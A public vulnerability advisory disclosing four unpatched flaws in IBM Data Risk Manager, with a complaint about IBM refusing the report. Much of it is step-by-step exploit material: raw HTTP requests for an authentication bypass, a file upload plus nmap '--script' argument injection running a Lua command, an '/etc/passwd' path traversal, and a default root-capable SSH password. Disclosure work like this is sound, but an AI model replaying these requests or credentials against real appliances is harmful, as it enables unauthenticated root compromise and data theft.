IBM Data Risk Manager suffers from authentication bypass, command injection, insecure default password, and arbitrary file download vulnerabilities.
ec8fbc1af9abc04b69ed7066a766acb9
# Multiple Vulnerabilities in IBM Data Risk Manager
### By Pedro Ribeiro ([email protected]) from [Agile Information Security](https://agileinfosec.co.uk)
#### Disclosure Date: 21/04/2020 | Last Updated: 21/04/2020
## Introduction
[From the vendor's website](https://www.ibm.com/products/data-risk-manager):
*What you don’t know can hurt you. Identify and help prevent risks to sensitive business data that may impact business processes, operations, and competitive position. IBM Data Risk Manager provides executives and their teams a business-consumable data risk control center that helps to uncover, analyze, and visualize data-related business risks so they can take action to protect their business.*
## Summary
**tl;dr scroll to the bottom to see videos of the exploits in action**
IBM Data Risk Manager (IDRM) is an enterprise security software by IBM that aggregates and provides a full view of all the enterprise security risks, akin to an electronic risk register.
The product receives information feeds from vulnerability scanning tools and other risk management tools, aggregates them and allows a user to investigate them and perform comprehensive analysis.
The IDRM Linux virtual appliance was analysed and it was found to contain four vulnerabilities, three critical risk and one high risk:
* Authentication Bypass
* Command Injection
* Insecure Default Password
* Arbitrary File Download
This advisory describes the four vulnerabilities and the steps necessary to chain the first three to achieve unauthenticated remote code execution as root. In addition, two Metasploit modules that bypass authentication and exploit the [remote code execution](https://github.com/rapid7/metasploit-framework/pull/13300) and [arbitrary file download](https://github.com/rapid7/metasploit-framework/pull/13301) are being released to the public.
At the time of disclosure, it is unclear if the latest version 2.0.6 is affected by these, but most likely it is, as there is no mention of fixed vulnerabilities in any changelog, and it was released before the *attempt* to report these vulnerabilities to IBM. The latest version Agile InfoSec has access to is 2.0.3, and that one is certainly vulnerable.
### Here's a bunch of 0 days!
At the time of disclosure these vulnerabilities are **"0 days"**. An attempt was made to contact [CERT/CC](https://www.kb.cert.org/vuls/) to coordinate disclosure with IBM, but IBM **REFUSED** to accept the vulnerability report, and responded to CERT/CC with:
***we have assessed this report and closed as being out of scope for our vulnerability disclosure program since this product is only for "enhanced" support paid for by our customers**. This is outlined in our policy https://hackerone.com/ibm. To be eligible to participate in this program, you must not be under contract to perform security testing for IBM Corporation, or an IBM subsidiary, or IBM client within 6 months prior to submitting a report.*
This is an unbelievable response by IBM, a multi billion dollar company that is **selling security enterprise products and security consultancy** to huge corporations worldwide. They refused to accept a free high quality vulnerability report on one of their products, while putting ludicrous quotes like the following [on their website](https://www.ibm.com/security):
*When every second counts, you need a unified defense to identify, orchestrate and automate your response to threats. IBM Security Threat Management solutions help you thrive in the face of cyber uncertainty.*
*Building a custom security plan that is both industry-specific and aligned to your security maturity demands a partner with deep expertise and global reach. The IBM Security Strategy and Risk services team is that valued partner.*
It should be noted that IBM offers no bounties on their "bug bounty program", just kudos:
![Kudos](./kudos.jpeg)
In any case, I did not ask or expect a bounty since I do not have a HackerOne account and I don't agree with HackerOne's or IBM's disclosure terms there.
I simply wanted to disclose these to IBM responsibly and let them fix it.
### So many questions...
IDRM is an enterprise security product that handles very sensitive information. The hacking of an IDRM appliance might lead to a full scale company compromise, as it stores credentials to access other security tools, not to mention it contains information about critical vulnerabilities that affect the company.
* Why did IBM refuse to accept a **FREE** detailed vulnerability report?
* What does their answer mean? Are the only accepting vulnerability reports from customers?
* Or is the product out of support? If so, why is still being offered for sale to new customers?
* How can they be so irreponsible while selling an enterprise security product?
Anyway, with this out of the way let's get technical...
## Vulnerability Details
### #1: Authentication Bypass
* [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: None / N/A
* Affected Products / Versions:
* IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
* IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable
#### Details:
IDRM has an API endpoint at */albatross/saml/idpSelection* that associates an ID provided by the attacker with a valid user on the system. The method that handles this endpoint is shown below:
```java
@RequestMapping(value={"/saml/idpSelection"}, method={RequestMethod.GET})
public String idpSelection(HttpServletRequest httpRequest, HttpServletResponse httpResponse, Model model, @RequestParam(value="id", required=false) String sessionId, @RequestParam(value="userName", required=false) String userName, RedirectAttributes rattrs) {
List allUrls = this.a3repository.getA3AllUrlsRepository().findByTypeAndIsDeletedAndGuardiumType(A3Constants.A3_URL_TYPE.MICROSERVICES.getValue(), A3Constants.INT_ZERO, A3Constants.A3_MICROSERVICE_TYPE.IDENTITY_MANAGER.getValue());
if (allUrls == null || allUrls.size() == 0) {
rattrs.addAttribute("message", (Object)"Microservice instance is not running or more than one instance is running, please start the microservice and try again");
return "redirect:/error";
}
if (allUrls.size() == 1) {
A3AllUrls aUrl = (A3AllUrls)allUrls.get(0);
String url = aUrl.getUrl();
if (userName == null || userName.equals("")) {
rattrs.addAttribute("message", (Object)"Enter the user name, please try again");
return "redirect:/error";
}
if (sessionId == null || sessionId.equals("")) {
rattrs.addAttribute("message", (Object)"Session ID is not present, please try again");
return "redirect:/error";
}
A3User user = this.a3repository.getA3userService().findA3UserByUserNameIgnoreCaseAndIsDeleted(userName, A3Constants.INT_ZERO);
if (user == null) {
rattrs.addAttribute("message", (Object)("User " + userName + " account not present in IDRM, please create the account and try again"));
return "redirect:/error";
}
user.setSessionId(sessionId);
user.setLastUpdate(null);
this.a3repository.getA3userService().save((Object)user);
String page = null;
page = url.endsWith("/") ? "redirect:" + url + "saml/idpSelection" : "redirect:" + url + "/saml/idpSelection";
return page;
}
return "redirect:/error";
}
```
As it can be seen in the code above, this method accepts an arbitrary *sessionId* and *username* parameters from the HTTP request, and if *username* exists on the application's user database, it then associates that *sessionId* to the *username*.
This can be achieved by an unauthenticated attacker with the following request:
```
GET /albatross/saml/idpSelection?id=SOMETHING&userName=admin
```
The server will respond with a 302 redirect to https://localhost:8765/saml/idpSelection, but that doesn't really matter. This action might not make sense now, but read on.
The API endpoint */albatross/user/login* is handled by the following method (only the relevant snippets are shown):
```java
@RequestMapping(value={"/user/login"}, method={RequestMethod.POST}, consumes={"multipart/form-data"})
public A3StatusBean userLogin(HttpServletRequest httpRequest, @RequestParam(value="username", required=true) String username, @RequestParam(value="deviceid") String deviceId, @RequestParam(value="password", required=false) String password, @RequestParam(value="sessionId", required=false) String sessionId, @RequestParam(value="clientDetails", required=true) String clientDetails) {
(...)
A3User user = this.a3repository.getA3userService().findA3UserByUserNameIgnoreCase(username);
if (user != null) {
if (sessionId != null) {
if (sessionId.equals(user.getSessionId())) {
(...)
LOGGER.log(A3Constants.A3LOG, "Session is matching, so user is valid");
response.setRequestedUrl(A3Utils.getWebURLWithQueryString((HttpServletRequest)httpRequest));
response.setHttpStatus(Integer.toString(HttpStatus.OK.value()));
response.setServerCode(Integer.toString(A3FullStackResponseConstants.SUCCESS));
if (this.userMap.get(user.getUserId()) == null) {
user.setSessionId(null);
String randomPwd = UUID.randomUUID().toString();
user.setPassword(A3BcryptUtil.getBCryptHash(randomPwd));
this.a3repository.getA3userService().save((Object)user);
this.userMap.put(user.getUserId(), randomPwd);
response.setData((Object)randomPwd);
} else {
String tPassword = this.userMap.get(user.getUserId());
user.setPassword(A3BcryptUtil.getBCryptHash(tPassword));
this.a3repository.getA3userService().save((Object)user);
response.setData((Object)tPassword);
}
return response;
}
(...)
}
```
The method listed above takes the *username* and *sessionId* parameters, and checks if *username* exists in the database and *sessionId* is associated with that *username*. If it is, the application returns a newly generated random password for that username.
In the previous request, the "*admin"* user was associated with the *sessionId "SOMETHING"*. So now if we perform the following request:
```
POST /albatross/user/login HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_224_2171658712_4042463386
Content-Length: 509
Connection: close
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="deviceid"
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="password"
< ... any string can be sent here ... >
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="username"
admin
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="clientDetails"
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="sessionId"
SOMETHING
--_Part_224_2171658712_4042463386--
```
The server will respond with:
```
{"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","data":"b6e1a82b-3f33-4297-86e1-ca780d16cb02"}
```
... which is now a valid password for the *"admin"* user, as the previous snippet of code shows.
So now let's try and authenticate using that as a password:
```
POST /albatross/user/login HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_122_4062871012_3985537084
Content-Length: 435
Connection: close
--_Part_122_4062871012_3985537084
Content-Disposition: form-data; name="deviceid"
--_Part_122_4062871012_3985537084
Content-Disposition: form-data; name="password"
b6e1a82b-3f33-4297-86e1-ca780d16cb02
--_Part_122_4062871012_3985537084
Content-Disposition: form-data; name="username"
admin
--_Part_122_4062871012_3985537084
Content-Disposition: form-data; name="clientDetails"
--_Part_122_4062871012_3985537084--
```
To which the server responds with:
```
{"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","data":{"access_token":"3b5b0fa6-2d46-4104-ba38-54a077d05a93","token_type":"bearer","expires_in":28799,"scope":"read write"}}
```
Success! We now have a valid Bearer administrative token that can be used to access various API. It's also possible to login as a normal web user on the */albatross/login* endpoint, which will yield an authenticated cookie instead of a token, allowing access to the web administration console. In any case, as this shows, authentication is now completely bypassed and we have full administrative access to IDRM.
It should be noted that this is a destructive action - the previous admin password will be invalid, and only the new password which is generated above can be used to login as an admin. So this works a bit like a *"password reset"*, even though it is not named as such.
### #2: Command Injection
* [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: Authentication Required
* Affected Products / Versions:
* IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
* IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable
#### Details:
IDRM exposes an API at */albatross/restAPI/v2/nmap/run/scan* that allows an authenticated user to perform nmap scans. The call stack and relevant code is pasted below:
```java
@RequestMapping(value={"/run/nmap/scan"}, method={RequestMethod.POST})
public A3StatusBean runNmapScan(HttpServletRequest httpRequest, @RequestParam(value="transaction", required=false) String transactionData, @RequestParam(value="accessToken") String accessToken, @RequestParam(value="userId", required=false) String userName) {
(...)
runNmapScan invokes A3CustomScriptScanTask.run()
A3CustomScriptScanTask.run() invokes A3IpScannerUtils.runNmapOnIpAddress()
public static A3ExtAppNmapHostDTO runNmapOnIpAddress(String nmapPath, String nmapOptions, String ipAddress, String portRange) throws IOException, InterruptedException {
String[] nmapOpts;
A3ExtAppNmapHostDTO nmapHost = null;
LOGGER.log(A3EurekaConstants.OPERATIONAL, "Running nmap Scan");
ArrayList<String> command = new ArrayList<String>();
command.add(nmapPath);
for (String nmapOpt : nmapOpts = nmapOptions.split(" ")) {
command.add(nmapOpt);
}
command.add(ipAddress);
Process process = null;
if (portRange != null && !portRange.equals("")) {
command.add("-p");
command.add(portRange);
process = Runtime.getRuntime().exec(command.toArray(new String[command.size()]));
} else {
process = Runtime.getRuntime().exec(command.toArray(new String[command.size()]));
(...)
}
(...)
}
```
As listed in [GTFObins](https://gtfobins.github.io/gtfobins/nmap), having access to nmap allows running arbitrary commands if we can upload a script file and then pass that as an argument to nmap with *"--script=<FILE\>"*. Looking at the code above, *ipAddress* looks like a good candidate for this.
However, to achieve code execution in this way we still need to upload a file. Luckily, there is a method that processes patch files and accepts arbitrary file data, saving it to *"/home/a3user/agile3/patches/<FILE\>"*. The method is too long and verbose to paste here, but it is supposed to accept a patch file, process it and apply it.
There are several bugs in version 2.0.2 that cause the method to abort early and fail to process the file. Still, the file is uploaded and kept on disk even after the method aborts.
In order to upload a file, we simply need to send the following request:
```
POST /albatross/upload/patch HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: JSESSIONID=D68124D3EFD66417B4C6B0950E1891C0;
CSRF-TOKEN: 4f88a837-5f12-4d15-a0d5-57b24de17176
Content-Type: multipart/form-data; boundary=_Part_387_3982485447_258275719
Content-Length: 330
Connection: close
--_Part_387_3982485447_258275719
Content-Disposition: form-data; name="patchFiles"; filename="owned.enc"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
os.execute("/usr/bin/whoami > /tmp/testing")
--_Part_387_3982485447_258275719--
```
The server will respond with a 200 OK but will include a JSON message saying an error has occured. This is irrelevant, as the file was still uploaded to disk.
Finally we inject our parameters and run nmap with the following request:
```
POST /albatross/restAPI/v2/nmap/run/scan/18 HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Authorization: Bearer 3b5b0fa6-2d46-4104-ba38-54a077d05a93
Content-Type: multipart/form-data; boundary=_Part_841_3176682485_2250831758
Content-Length: 440
Connection: close
--_Part_841_3176682485_2250831758
Content-Disposition: form-data; name="clientDetails"
--_Part_841_3176682485_2250831758
Content-Disposition: form-data; name="type"
1
--_Part_841_3176682485_2250831758
Content-Disposition: form-data; name="portRange"
--_Part_841_3176682485_2250831758
Content-Disposition: form-data; name="ipAddress"
--script=/home/a3user/agile3/patches/owned.enc
--_Part_841_3176682485_2250831758--
```
This will execute *"nmap --script=/home/a3user/agile3/patches/owned.enc"* and run our command:
```
[a3user@idrm-server ~]$ cat /home/a3user/agile3/patches/owned.enc
os.execute("/usr/bin/whoami > /tmp/testing")
[a3user@idrm-server ~]$ cat /tmp/testing
a3user
```
Note that all of these requests require an authenticated session as an administrator - but as shown in #1, this can be easily bypassed. The actual flow to achieve full unauthenticated remote code execution is a bit more convoluted, as we need to authenticate to both the web interface and the API, but the basic workings have been described above.
### #3: Insecure Default Password
* [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: None / N/A
* Affected Products / Versions:
* IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
* IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable
#### Details:
The administrative user in the IDRM virtual appliance is *"a3user"*. This user is allowed to login via SSH and run sudo commands, and it is set up with a default password of *"idrm"*.
When combined with vulnerabilities #1 and #2, this allows an unauthenticated attacker to achieve remote code execution as root on the IDRM virtual appliance, leading to complete system compromise.
While IDRM forces the administrative user of the web interface (*"admin"*) to change its password upon first login, it does not require the same of *"a3user"*.
### #4: Arbitrary File Download
* [CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)
* CVE-TODO (not assigned yet)
* Risk Classification: High
* Attack Vector: Remote
* Constraints: Authentication Required
* Affected Products / Versions:
* IBM Data Risk Manager 2.0.2 and 2.0.3 confirmed to be vulnerable
* IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable
#### Details:
IDRM exposes an API at */albatross/eurekaservice/fetchLogFiles* that allows an authenticated user to download log files from the system. However, the *logFileNameList* parameter contains a basic directory traversal flaw that allows an attacker to download any file off the system.
The code path is convoluted, and won't be shown here for brevity, but exploitation (and finding this flaw) is very simple:
```
POST /albatross/eurekaservice/fetchLogFiles HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.0.10.25:8443/albatross/home
Content-Type: application/json
CSRF-TOKEN: 93e0dbe1-88e5-450e-ab2c-7c614b709876
Content-Length: 93
Cookie: JSESSIONID=ABFFB7EB959FAC45743AC2889960DFD0
Connection: close
{"instanceId":"local_host","logLevel":"DEBUG","logFileNameList":"../../../../../etc/passwd,"}
```
Response:
```
HTTP/1.1 200
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Disposition: attachment; filename=ms_logs_admin.zip
Accept-Ranges: bytes
X-Content-Type-Options: nosniff
Content-Type: application/zip
Content-Length: 550
Date: Wed, 17 Oct 2018 11:46:45 GMT
Connection: close
<ZIP file containing /etc/passwd>
```
When combined with #1, this allows an unauthenticted attacker to download any file readable by *"a3user"* off the system.
It should be noted that version 2.0.1 is not vulnerable, but versions higher than 2.0.1 are. Attempting to download an arbitrary file using this method will result in a HTTP 500 error with a *"File security exception"* message.
## Exploitation Summary
By combining vulnerabilities #1, #2 and #3, an unauthenticated user can achieve remote code execution as root. [A Metasploit module implementing this RCE chain was released](https://github.com/rapid7/metasploit-framework/pull/13300) and the asciinema clip below shows it in action:
[![asciicast](https://asciinema.org/a/3nJ4lD1pD7XBfEFqkc9qPDUV2.svg)](https://asciinema.org/a/3nJ4lD1pD7XBfEFqkc9qPDUV2)
If vulnerabilities #1 and #4 are combined, it's possible for an unauthenticated attacker to download arbitrary files off the system. [A second Metasploit module implementing this file download chain was released](https://github.com/rapid7/metasploit-framework/pull/13301), and the asciinema clip below shows it in action:
[![asciicast](https://asciinema.org/a/y6HfoaEIf8qZbn6mcUGeVhyUp.svg)](https://asciinema.org/a/y6HfoaEIf8qZbn6mcUGeVhyUp)
## Fix / Solutions:
IBM refused to acknowledge this vulnerability report, so most likely won't fix this vulnerability. Make sure you uninstall the product so it does not endanger your network / company.
## Disclaimer
Please note that Agile Information Security (Agile InfoSec) relies on information provided by the vendor when listing fixed versions or products. Agile InfoSec does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so.
Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerabilities found by Agile Information Security are resolved properly.
Agile Information Security Limited does not accept any responsibility, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market.
## License
All information, code and binary data in this advisory is released to the public under the [GNU General Public License, version 3 (GPLv3)](https://www.gnu.org/licenses/gpl-3.0.en.html).
For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails.